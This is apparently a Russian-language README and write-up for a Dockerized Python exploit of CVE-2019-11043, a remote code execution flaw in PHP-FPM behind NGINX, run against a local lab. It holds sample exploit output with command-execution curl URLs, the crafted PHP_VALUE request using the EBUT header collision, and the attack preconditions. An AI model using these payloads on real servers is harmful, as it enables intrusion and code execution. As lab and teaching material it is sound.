
Dockerized Python-эксплойт для CVE-2019-11043, критической уязвимости удаленного выполнения кода в PHP-FPM в конфигурациях NGINX. Включает установку, использование и подробный анализ.
Реализация эксплойта CVE-2019-11043 на Python
Эксплойт, зарегистрированный как CVE-2019-11043, использует ошибку в реализации PHP-FPM в сочетании с сервером NGINX. В определенных конфигурациях регулярное выражение в fastcgi_path_info приводит к тому, что модуль FPM записывает данные за пределы выделенных буферов в пространство, зарезервированное для данных протокола FastCGI. В результате веб-пользователь может удаленно выполнить код. В следующей таблице показана оценка серьезности эксплойта в соответствии с Common Vulnerability Scoring System (CVSS).
| Метрика | Значение |
|---|---|
| Оценка воздействия | 5.9 |
| Базовая оценка | 9.8 |
| Серьезность | Критическая |
| Вектор доступа | Сеть |
| Конфиденциальность | Высокая |
| Целостность | Высокая |
| Доступность | Высокая |
Docker образы:
Python:
Для запуска проекта требуется установка Docker и docker-compose.
Выполнив следующую команду из корневого каталога проекта, все необходимые Docker образы будут загружены, а контейнеры запущены в правильном порядке:
docker-compose up
Чтобы запустить установку в демонизированном режиме, выполните следующую команду:
docker-compose up -d
Чтобы остановить демонизированный запуск, выполните следующую команду:
docker-compose down
Пример
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
Эта уязвимость была обнаружена во время отборочного раунда Real World CTF 2019, когда исследователь безопасности Эндрю Данау обнаружил, что отправка управляющего символа новой строки %0A приводит к исключению в коде сервера.
Регулярное выражение в директиве fastcgi_split_path_info можно сломать с помощью символа новой строки (в закодированной форме %0A). Сломанное регулярное выражение приводит к пустому PATH_INFO, что и запускает ошибку.
Поскольку env_path_info является адресом переменной path_info, path_info равен 0, то и pilen также равен 0. slen — это длина запрошенного URL.

Используя тщательно подобранную длину пути URL и строки запроса, злоумышленник может заставить path_info указывать точно на первый байт структуры _fcgi_data_seg. Установка нуля в эту область перемещает поле char* pos назад, а последующий вызов FCGI_PUTENV перезаписывает некоторые данные (включая другие переменные FastCGI) путем скрипта. Используя этот метод, уязвимость позволяет создать фиктивную FCGI-переменную PHP_VALUE, а затем с помощью цепочки тщательно подобранных значений конфигурации получить выполнение кода.

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len — длина пути URL
http://localhost:11043/index.php/TUD%0aNetSec.php/var/www/html/index.php/TUD\nNetSec.phpptlen — длина содержимого до первого слеша в пути URL
http://localhost:11043/index.php/TUD%0aNetSec.phppt — /var/www/html/index.phpРазница между двумя переменными "len" и "ptlen" — это длина пути, указанного в URL. Поскольку путь можно контролировать, переменная path_info также становится контролируемой.
Поскольку путь контролируется, мы можем установить значение любого адреса в ноль (строка 1222). Установив значение целевого адреса в ноль, мы можем установить char* pos структуры _fcgi_data_seg в ноль. Таким образом мы эксплуатируем недостаток буфера (buffer underflow) и можем записывать глобальные переменные в правильное пространство памяти.
Хэш и длина сравниваются до ключей. Тщательно выбирая правильные заголовки и ключи, мы можем добавлять данные с помощью заголовков. Согласно находкам neex, строка "ebut", которая становится HTTP_EBUT, имеет ту же длину и значение FCGI_HASH, что и PHP_VALUE. Таким образом, отправляя GET-запрос к серверу вида
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
заголовок HTTP_EBUT становится PHP_VALUE, а значение — session_start=1.
Ниже приведен список необходимых предварительных условий, которые должны быть выполнены для атаки.
^ и заканчиваться $, чтобы env_path_info становился пустым при разборе URI с символом новой строки.try_files $uri = 404, поскольку это предотвращает передачу запросов FastCGI, и они никогда не достигнут PHP-FPM.